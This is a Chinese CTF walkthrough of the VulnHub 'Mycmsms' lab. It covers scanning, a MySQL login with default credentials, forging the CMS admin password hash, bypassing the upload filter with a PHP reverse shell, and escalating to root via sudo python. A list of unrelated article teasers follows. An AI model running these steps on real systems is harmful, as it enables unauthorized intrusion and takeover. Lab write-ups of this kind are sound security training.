vulnhub打靶记录——Mycmsms

news2024/9/25 3:18:01

文章目录

  • 一、环境布置
    • 主机发现
  • 二、端口扫描
    • nikto基本探测
    • 目录扫描
    • CMS EXP搜索
    • 探查mysql数据库
    • CMS代码审计
    • CMS后台
    • 权限提升

一、环境布置

靶机在virtualbox中搭建，攻击机使用vmware中安装的kali，主要是解决kali能ping通靶机，同时能访问外网。
解决方法；VirtualBox(Host only)和VMware共用同一虚拟网卡
需要注意的是靶机IP怎么获取？开启靶机后，靶机会自动显示ip地址。
在这里插入图片描述
192.168.56.1并不是靶机的ip地址，而是主机（本机，物理机）在该局域网下的IP地址，同时需要启用DHCP服务器来让kali再该封闭式局域网（only-host）中获取一个IP地址。
在这里插入图片描述
在该host模式的局域网下，主机（192.168.56.1）可以ping通靶机（192.168.56.103）和kali（192.168.56.101），但是kali（192.168.56.101）不能ping通主机（192.168.56.1）。
在这里插入图片描述

在这里插入图片描述
故所有设备IP（Only-host）如下：

  • 靶机IP：192.168.56.103
  • kaliIP：192.168.56.101

主机发现

也可以用nmap进行主机发现，主要是对only-host模式下的局域网进行主机发现，命令如下：

nmap -sP 192.168.56.0/24 # 对192.168.56网段进行扫描

在这里插入图片描述

  • 192.168.56.1：主机IP；
  • 192.168.56.100：DHCP服务器IP；
  • 192.168.56.101：Kali IP；
  • 192.168.56.103：靶机IP。

二、端口扫描

nmap -p- -sV -A 192.168.56.103

-p-：代表扫描所有端口，从1-65535，默认进行TCP扫描；
-sV：探测服务/版本信息;
-A：启动OS检测，版本检测，脚本扫描和traceroute。简单来说，输出更加详细的日志信息。

在这里插入图片描述

没有-A参数的扫描结果，也就是命令nmap -p- -sV 192.168.56.103
在这里插入图片描述

整理出nmap扫描的重要信息，并保存到scan.txt中
在这里插入图片描述

这里可以看到该靶机开放了ssh服务（22端口）、web服务（80端口）、mysql数据库服务（3306）.

针对80端口的web渗透，通常：

  • 使用nikto进行基本的漏洞探测；
  • 目录扫描，发现更多网站路径。

nikto基本探测

使用nikto对web服务做基本的探测，命令如下:

	nikto -host http://192.168.56.103

扫描结果如下，nikto除了检测漏洞信息，也有进行目录扫描（如扫出./phpinfo.php、./config.php等）。

在这里插入图片描述

一般情况下，phpinfo.php是不会被看到的，在某些src平台泄露phpinfo甚至算低危漏洞。

目录扫描

目录扫描，命令如下：

	dirsearch -u http://192.168.56.103 -w ./directory-list-2.3-medium.txt -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

-w：爆破所用字典的位置，包含多个字典可用,分割，字典使用SeclLists
-e：站点文件类型列表，如php、js、html等。

扫描结果如下：在这里插入图片描述

发现用dirsearch默认的字典跑出来结果还多些，真是栓Q~
在这里插入图片描述

简单说一下http状态码的含义：

  • 2XX：成功状态，表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功。
  • 3XX：重定向，表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向。
  • 4XX：客户端错误，表示客户端的请求存在错误，导致服务器无法处理。401表示需要身份验证，403表示禁止访问。

打开http://192.168.56.103/phpmyadmin，发现需要登录，这里可以尝试弱口令爆破，先不尝试，看看后面有啥
在这里插入图片描述
打开http://192.168.56.103/config.php发现空白，可以尝试用命令行访问是不是真的空白，命令如下：curl -i -L http://192.168.56.103/config.php

-i：打印出服务器回应的 HTTP 标头。
-L：会让 HTTP 请求跟随服务器的重定向。curl默认不会跟随重定向。

在这里插入图片描述
在这里插入图片描述
打开http://192.168.56.103/config.php，尝试SQL注入，使用万能密码登录。发现不行，过滤符号😖😖😖
在这里插入图片描述
不过，这里可以发现该网站使用CMS搭建，CMS版本为CMS Made Simple😆😆😆
在这里插入图片描述

CMS EXP搜索

知道了CMS，就可以用searchsploit去找该CMS是否有漏洞，命令如下：

searchsploit cms made simple

searchsploit是一个用于Exploit-DB的命令行搜索工具，就是kali本地会有一个漏洞库，漏洞库里的数据来自Exploit-DB，searchsploit是漏洞搜索脚本。

在这里插入图片描述
目前CMS版本未知，只能挨个去尝试，重点关注RCE漏洞。这里尝试使用2.1.6 Remote Code Execution

searchsploit -m 44192.txt # exp复制到单独的文件夹

在这里插入图片描述
该exp需要访问/cms文件夹，网站都没这个目录，不太行，再尝试别的。网站这块搞不定了，只能到这儿了，换下别的思路😅😅😅

探查mysql数据库

当详细输出下面这类信息的时候，说明mysql允许远程连接mysql数据库。
在这里插入图片描述
尝试弱口令和默认用户名密码来连接mysql数据库~，命令如下：

mysql -h 192.168.56.103 -uroot -p # 尝试空密码、root密码

用户名和密码都是root☺️☺️☺️

在这里插入图片描述
在cms_users中发现了后台用户名、密码（经过MD5加密，32位），尝试暴力破解，发现不行😒😒😒。可以继续尝试更新admin用户的密码。

在这里插入图片描述

echo -n 123456 | md5sum # 计算123456的MD5值

//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令
  • echo -n：表示不换行输出，默认会将\n（换行符）送给下一个命令；
  • 管道符|，A | B表示命令A的结果为命令B的输入。

在这里插入图片描述
回到http://192.168.56.103/config.php，使用更新后的密码进行登陆，发现登录不成功，G
在这里插入图片描述

登录不成功有以下几个原因：

  1. 使用的算法不是MD5；
  2. 对密码进行了特殊处理。

接下来，去找CMS Made Simple的源码，分析加密方法。cms源码下载
在这里插入图片描述

trunk文件夹包含代码主干信息。

CMS代码审计

要想知道cms是怎样对明文进行加密的，我们需要找到登录时候的代码，在这个cms中就是login.php。大概看下逻辑，如下图，如果登录取消就怎么怎么样，如果登录提交就怎么怎么，重点就是else if后面的代码，首先是判断post传参中的username和password，如果存在就赋值给$username和$password，认证代码肯定是调用的外部函数，再加上相关注释，验证代码应该在LoadUserByUsername中。
在这里插入图片描述
在LoadUserByUsername中，当password != ''时，在password前面拼接了一段字符串，再进行md5加密。
在这里插入图片描述
找到get_site_preference()函数，发现是调用cms_siteprefs中的静态方法get来得到那串字符串。

cms_siteprefs::get中的::代表调用静态方法。

在这里插入图片描述
转到cms_siteprefs的get方法，以当前类为参数去调用global::get，大概意思应该是在全局缓存中以当前类名为参数进行查询，$prefs[$key]不为空，就返回$prefs[$key]，否则就返回空。
在这里插入图片描述
转到global::get，根据return的值，可以发现最终返回的是$_cache中的内容，而$_cache的值是来自于$_type。而$_type是通过函数add_cachable()来获得的。

在这里插入图片描述
在cms_siteprefs的setup方法中调用了global_cache的add_cachable方法，大致意思就是变量$obj的值来源于静态方法read，read方法是执行了SQL语句来获取相关内容并赋值给变量$_prefs。总的来说，我们需要的$prefs[$key]来源于这个SQL语句的结果。
在这里插入图片描述
根据SQL语句，查询的表名应该是带有site_prefs字符串的表名，可以看到数据库中只有cms_siteptrefs这个表。

在这里插入图片描述

show create table cms_siteprefs; # 查看表的创建过程
desc cms_siteprefs; # 查看表的结构

在这里插入图片描述
我们需要的$prefs[$key]这个值，$prefs来源于cms_prefs这个表，而$key='sitemask'，然后根据$_prefs[$row['sitepref_name']] = $row['sitepref_value'];，可以推测出sitemask应该归属于列名sitepref_name，故构造SQL语句：

select * from cms_siteprefs where sitepref_name='sitemask';

在这里插入图片描述
芜湖~，拼接上这个值再进行md5加密就可以更改管理员密码了

echo -n <值> | md5sum # 计算123456的MD5值

//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令

在这里插入图片描述
在这里插入图片描述
使用密码登录CMS后台~
在这里插入图片描述

CMS后台

渗透测试的目标是登录远程主机，并且获得root权限，目前只是获得了web服务的权限。在后台重点找文件上传点。文件上传的目的是上传一个恶意脚本，来拿下这台主机，来达到一个效果：我们在本地输入命令，终端会执行输入的命令（也就是将终端的conmand reverse 到本地）。那么上传什么样的脚本呢？该脚本的功能就是将终端的命令行能reverse到本地。找一个php reverse脚本：php-reverse-shell，可以使用git clone命令进行脚本下载。

:set number # vim中对每一行添加行号
# 更改ip和端口
$ip = '192.168.56.101';
$port = '4444';

在这里插入图片描述
在这个上传点进行文件上传，上传php-reverse-shell.php这个脚本，发现不成功。文件上传失败的原因有：可能限制后缀名。这里就需要使用一些绕过技巧~

在这里插入图片描述

在php开发中，纯php代码的文件后缀一般是.php，纯html代码的文件后缀一般为.html，php代码和html代码混合的文件后缀一般为.phtml。

这里可以试着将原文件的后缀.php改为.phtml再上传，上传成功~
在这里插入图片描述
监听本地4444端口，浏览器执行上传的shell文件，反弹shell。

nc -nlvp 4444

-n：直接使用IP地址，而不通过域名服务器；
-l：llisten，监听模式；
-v：显示指令执行过程；
-p：port，端口。

在这里插入图片描述

权限提升

登录到主机后，做以下事情：
1、 到home目录下看有哪些用户有自己的目录，即，哪些用户能登录该主机；

ls -al; # l代表以列表的形式进行输出；a查看隐藏文件

在这里插入图片描述
这里只是发现binary.sh是一个具备SUID权限的程序，简单来说就是，所有用户均可执行具备SUID权限的程序，在执行过程中，执行者将拥有程序所有者的权限。

2、搜索具备SUID权限的程序，命令如下：

find / -perm -u=s -type f 2>/dev/null

find语法：find [path] [expression]
-perm：按照文件权限来查找文件。
-type：按文件类型查找，可以是 f（普通文件）、d（目录）、l（符号链接）等。
2>/dev/null： 错误输出不显示在屏幕上

在这里插入图片描述

这里发现了这么多Set UID的文件，可以尝试sudo提权。（还不太理解，先看别人怎么做~）

cd /var/www/html/admin # 进入网站的admin文件夹下
ls -al # 查看该文件夹下的所有文件，发现一个带有password的隐藏文件

在这里插入图片描述

cat .htpasswd
echo '<值>' | base64 -d # 对值进行解码，-d就是解码，不要-d就是base64加密

在这里插入图片描述

看到字符串中含有大小写字母、=，可能是经过了base64编码。

这里获取到了armour用户的密码。当拿到一个用户名和密码登录到系统的时候，第一件事是看这个用户有没有sudo的权限！

su armour # 变更用户为armour
sudo -l # 查看当前用户的权限，主要就是看该用户在运行某个脚本时能不能以root用户去运行。
sudo -i # 使当前用户长时间拥有root用户权限

在这里插入图片描述
可以发现，当前armour用户当使用sudo执行python脚本时，会以root权限运行且无密码。那么可以使用python来获取root用户的shell。反弹Shell升级为交互式Shell、python

sudo python -c 'import os;os.system("/bin/bash")' # 获取普通shell
sudo python -c 'import pty; pty.spawn("/bin/bash")'  # 获取半交互式shell

# 获取交互式shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color

在这里插入图片描述
最后拿到flag，所有的flag都在/root/proof.txt

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1533988.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

比较10个数值的最大值（C语言）

比较10个数值的最大值（C语言）

一、运行结果&#xff1b; 二、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>int main() {//初始化变量值&#xff1b;int arr[10] { 0 };int i 1;int n 1;int t 0;int max 0;//提示用户&#xff1b;printf("请输入10个整数&…
阅读更多...
java系统部署到Linux

java系统部署到Linux

1、安装java 1.8JDK 卸载Open JDK 首先&#xff0c;我们先检查系统是否自带了 JDK。输入命令 java -verison批量删除 rpm -qa | grep java | xargs rpm -e --nodeps下载并安装JDK 我们在 user 目录下建立一个新的 java文件夹&#xff0c;用来存放 JDK文件。 jdk下载地址 …
阅读更多...
操作系统——处理机管理（2）

操作系统——处理机管理（2）

四、作业的基本概念 8、作业的定义 是指用户在一次计算过程或一次事务处理的过程中要求计算机系统所做的工作的总称。 通常把一次事务计算中从输入开始到输出结束&#xff0c;用户要求计算机所做的全部工作称为一个作业。 用户的角度&#xff1a;作业就是用户要求计算机完…
阅读更多...
运维人少，如何批量管理上百个微服务、上千条流水线？

运维人少，如何批量管理上百个微服务、上千条流水线？

作者&#xff1a;周静 随着微服务和云原生技术的发展&#xff0c;一个业务系统往往由多个微服务应用组成&#xff0c;多个业务方向涉及几十上百应用。每个应用研发过程又划分为测试、预发、生产多条流水线&#xff0c;也即成百上千条流水线。而一个企业下通常只有 1&#xff5…
阅读更多...
【JS】替换文本为emjio表情

【JS】替换文本为emjio表情

最终效果展示 T1 T2 T3 T4 需求 把评论你好帅啊啊啊[开心][开心]&#xff0c;[开心] 替换为图片 思路 正则match提取[开心]到一个数组数组去重创建img标签img标签转文本. 。例&#xff1a;&#xff08;el.outerHTML&#xff09;&#xff0c;将el元素转文本字符串replaceAll…
阅读更多...
Javaee 进程调度的基本过程

Javaee 进程调度的基本过程

进程 一个程序,运行起来/跑起来,在操作系统中,就会出现一个对应的进程, 进程其实就是一个跑起来的应用程序 让程序跑起来就是可以双击快捷方式或者在开始菜单中 单击该选项 . 在我们的电脑上 可以打开任务管理器 可以看到很多进程: 我们可以把运行起来的可执行文件 称为进程 …
阅读更多...
[C语言]——操作符详解

[C语言]——操作符详解

目录 一.操作符的分类 二.二进制和进制转换 1.二进制转十进制 2.二进制转八进制和十六进制 2.1二进制转八进制 2.2二进制转十六进制 三.原码、反码、补码 四.移位操作符 1.左移操作符 2.右移操作符 五.位操作符&#xff1a;&、|、^、~ 练习1&#xff1a;编写代码实…
阅读更多...
两个现货白银理财产品投资技术分析方法

两个现货白银理财产品投资技术分析方法

现货白银是投资市场中比较受欢迎的理财产品。要投资现货白银&#xff0c;我们需要具备一定的金融投资经验。下面我们就来讨论一下&#xff0c;在现货白银这个理财产品的投资过程中&#xff0c;常常用到的一些技术分析方法。 宏观的趋势分析法。在现货白银理财产品投资中&#x…
阅读更多...
nodejs pkg打包跨平台执行文件，带.node插件（sharp、sqlite3）

nodejs pkg打包跨平台执行文件，带.node插件（sharp、sqlite3）

在nodejs引入的第三方库中，大部分插件都是nodejs原生开发，使用pkg可以快速打包，生成windows、linux(ubuntu、centOS等)、麒麟系统下面执行文件。遇到了第三方插件gdal、sharp、sqlite3，在webstorm中打包生成执行文件，跨平台部署的时候会出现找不到###.node文件，需要获取部…
阅读更多...
Harbor介绍

Harbor介绍

1.什么是Harbor Harbor是一个开源的企业级Docker Registry管理项目&#xff0c;由VMware公司开源。 Harbor提供了比Docker官方公共镜像仓库更为丰富和安全的功能&#xff0c;尤其适合企业环境使用。以下是Harbor的一些关键特性&#xff1a; 权限管理&#xff08;RBAC&#x…
阅读更多...
什么是内网穿透？如何实现内网穿透？

什么是内网穿透？如何实现内网穿透？

关注微信公众号&#xff1a;怒码少年&#xff0c;回复关键词【电子书】可以免费获取计算机相关电子书 大家好&#xff0c;我是小码。 如果你能上线或者部署你的项目以便于面试官查看&#xff0c;无疑是大大增加了真实性。使用上一篇讲到的如何使用腾讯云宝塔Linux面板部署项目…
阅读更多...
QT QGraphicsView 在鼠标点击处进行放大缩小

QT QGraphicsView 在鼠标点击处进行放大缩小

一、前段时间在用QGraphicsView对图元进行放大缩小时&#xff0c;发现图形总是越来越跑偏&#xff0c;无法像地图中那样&#xff0c;点击哪里就能放大哪个地方。 如下所示&#xff1a;此时放大缩小的焦点并不在鼠标位置 方法&#xff0c;使用QGraphicsView类的设置属性函数.在构…
阅读更多...
蜂窝物联智慧果园案例：福建万春寨农业科技有限公司醒狮智慧芦柑园

蜂窝物联智慧果园案例：福建万春寨农业科技有限公司醒狮智慧芦柑园

项目背景 永春醒狮农场前身永春醒狮场是永春最早种植芦柑基地之一&#xff0c;十年前因为黄龙病全部死亡。今年由万春寨农业牵头&#xff0c;重新开荒种植芦柑。此地&#xff0c;虽然海拔高、树木葱郁&#xff0c;然后可用灌溉水源却非常缺乏&#xff0c;如何实现节水灌溉问题成…
阅读更多...
GRE简介

GRE简介

定义 通用路由封装协议GRE&#xff08;Generic Routing Encapsulation&#xff09;可以对某些网络层协议&#xff08;如IPX、IPv6、AppleTalk等&#xff09;的数据报文进行封装&#xff0c;使这些被封装的数据报文能够在另一个网络层协议&#xff08;如IPv4&#xff09;中传输…
阅读更多...
vm-workstation win10 网络的设置

vm-workstation win10 网络的设置

设置宿主机网络&#xff08;win10&#xff09; 1&#xff0c;在 win10宿主机上为虚拟机设置192.168.6.0/24 的网段 VM-workstation 网络设置 2&#xff0c;vm-workstation 软件设置
阅读更多...
工控机丨丨工业电脑丨工控计算机丨工业一体机丨什么是工业一体机

工控机丨丨工业电脑丨工控计算机丨工业一体机丨什么是工业一体机

工业一体机俗称工控机&#xff0c;是一种专门为工业应用而设计的计算机设备&#xff0c;主要应用于工厂、车间、仓库等工业场所。此外工控机还叫做工控计算机&#xff0c;通常采用工业级主板、工业级CPU、工业级硬盘、工业级内存和工业级电源等硬件组件&#xff0c;以确保其在高…
阅读更多...
NetSuite 固定资产Write-Off的撤回操作

NetSuite 固定资产Write-Off的撤回操作

之前我们有说到如果是Sale了固定资产后发现有误&#xff0c;需要撤回操作该如何处理。这篇文章来补充一下&#xff0c;如果是误Write-Off了一个固资该如何处理&#xff0c;其逻辑与Sale的撤回基本一致&#xff0c;但是少了删除Sale Invoice的步骤。 我们用一个实际的例子来进行…
阅读更多...
ISIS默认层级实验简述

ISIS默认层级实验简述

ISIS被划分为三个层级&#xff1a;Level 1、Level 2和Level 1-2。 默认情况下&#xff0c;ISIS路由器属于level 1-2,是指同时支持Level 1和Level 2的路由器。路由器既可以在同一个自治系统内部进行路由选择&#xff0c;也可以将路由信息传递到其他自治系统。 实验拓扑图&#…
阅读更多...
鸿蒙一次开发，多端部署（一）简介

鸿蒙一次开发，多端部署（一）简介

背景 随着终端设备形态日益多样化&#xff0c;分布式技术逐渐打破单一硬件边界&#xff0c;一个应用或服务&#xff0c;可以在不同的硬件设备之间随意调用、互助共享&#xff0c;让用户享受无缝的全场景体验。而作为应用开发者&#xff0c;广泛的设备类型也能为应用带来广大的…
阅读更多...
HTML5:七天学会基础动画网页(end)

HTML5:七天学会基础动画网页(end)

想了想还是有一点东西还没说&#xff0c;当然这块内容也比较简单&#xff0c;就是当我们有一段完整素材时&#xff0c;如下: 我在网上随便找的素材&#xff0c;当然我们平时在使用素材时要注意尊重他人的著作权&#xff0c;不管是字体图片还是别的&#xff0c;不然后面不小心侵…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023